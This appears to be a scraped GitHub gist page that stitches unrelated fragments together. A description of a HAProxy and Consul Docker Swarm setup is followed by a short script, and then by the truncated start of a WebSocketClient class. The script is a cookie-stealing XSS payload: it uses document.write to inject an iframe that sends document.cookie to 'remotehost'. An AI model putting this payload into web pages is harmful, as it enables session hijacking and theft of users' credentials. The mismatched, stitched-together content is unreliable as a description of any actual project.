This gist is an implementation of http://sirile.github.io/2015/05/18/using-haproxy-and-consul-for-dynamic-service-discovery-on-docker.html on top of Docker Machine and Docker Swarm.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
document.write("<iframe src='http://remotehost/whatever.ok?cookie="+document.cookie+"'></iframe>"); | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export default class WebSocketClient { | |
constructor(url) { | |
this.number = 0; // Message number | |
this.autoReconnectInterval = 12*1000; // ms | |
this.url = url; | |
this.open(); | |
} | |
open (url){ |